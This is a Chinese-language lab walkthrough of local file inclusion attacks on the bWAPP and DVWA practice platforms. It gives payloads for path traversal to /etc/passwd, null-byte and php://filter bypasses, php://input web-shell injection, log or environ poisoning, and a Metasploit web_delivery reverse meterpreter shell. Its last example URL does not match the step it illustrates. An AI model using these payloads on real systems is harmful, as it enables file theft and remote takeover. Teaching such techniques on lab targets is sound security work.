0x00 前言
本文的主要目的是分享在服務器遭受文件包含漏洞時,使用各種技術對Web服務器進行攻擊的想法。 我們都知道LFI漏洞允許用戶通過在URL中包括一個文件。在本文中,我使用了bWAPP和DVWA兩個不同的平台,其中包含文件包含漏洞的演示。通過它我以四種不同的方式執行LFI攻擊。
0x01 基本本地文件包含
在瀏覽器中輸入目標IP,並在BWAPP內登錄(bee:bug),現在選擇bug:remote & local file Inclusion,然后點擊hack。
打開具有RFI和LFI漏洞的網頁。在下拉列表中選擇語言釋,單擊go按鈕時,所選的語言文件將包含在URL中。 執行基本攻擊操作。
http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.101/bWAPP/flfi.php?language=/etc/passwd
在基本的LFI攻擊中,我們可以使用(../)或簡單地(/)從目錄中直接讀取文件的內容,下面的截圖中在瀏覽器URL中訪問密碼文件。
0x02 Null byte
在一些情況下,由於高安全級別,上面提到的基本本地文件包含攻擊可能不工作。從下面的截圖可以觀察到,當在URL中執行相同的路徑時,卻無法讀取密碼文件。 所以當面對這樣的問題,可以進行NULL byte攻擊。
打開burp suite捕獲瀏覽器請求,然后選擇代理選項卡並開始截取。 不要忘記在使用burp suite時設置瀏覽器代理。
將攔截的數據發送到repeater。
在repeater中做發送的請求和響應生成的分析。從截圖可以清楚的看出/ etc / passwd不能讀取。
在下面的截圖中,通過在etc/passwd目錄的末尾添加空字符(%00)來轉發請求,然后單擊go選項卡。然后在窗口的右視圖上,密碼文件作為響應打開。
0x03 Base64 encoded
當安全級別高並且無法查看PHP文件內容時,使用以下PHP函數:
http://192.168.1.101/bWAPP/rlfi.php?language=php://filter/read=convert.base64-encode/resource=/etc/passwd
從以下截圖可以看到passwd文件內容編碼為base64,復制整個編碼文本。
使用hackbar解碼復制的編碼文本。
將復制的編碼文本粘貼到彈出的對話框內。
密碼文件的內容:
0x04 PHP Input
使用PHP Input函數,通過執行注入PHP代碼來利用LFI漏洞。首先,加載目標網頁URL:
http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go
使用PHP input函數:
http://192.168.1.101/bWAPP/rlfi.php?language=php://input&cmd=ls
然后選中enable Post data復選框,轉發提交的數據,並在給定文本區域中添加cmd命令<?php system($ _ GET [‘cmd’]); ?>。如下圖所示,最后點擊execute。
通過反向連接連接目標機器; 在kali Linux中打開終端輸入msfconsole啟動metasploit。
use exploit/multi/script/web_delivery msf exploit (web_delivery)>set target 1 msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp msf exploit (web_delivery)> set lhost 192.168.0.104 msf exploit (web_delivery)>set srvport 8081 msf exploit (web_delivery)>exploit
復制下圖中的高亮文本:
將上面復制的PHP代碼粘貼到URL中,如下圖所示,並執行它。
當上面的URL被執行時,將metasploit中獲得目標的meterpreter會話。
msf exploit (web_delivery)>session –I 1 meterpreter> sysinfo
0x05 Proc/self/environ
如果服務超時,通過LFI利用它。可以包括存儲User_Agent的proc/self/environ文件,在文件中插入用於執行CMD命令的PHP代碼。
http://192.168.1.102/dvwa/vulnerabilities/fi/?page=proc/self/environ
啟動burp suite攔截瀏覽器請求,並將獲取數據發送到repeater。
將CMD命令<?php system($_GET[‘cmd’]); ?>添加到user_Agent內,並使用GET參數192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id發送請求。響應如下圖右側所示。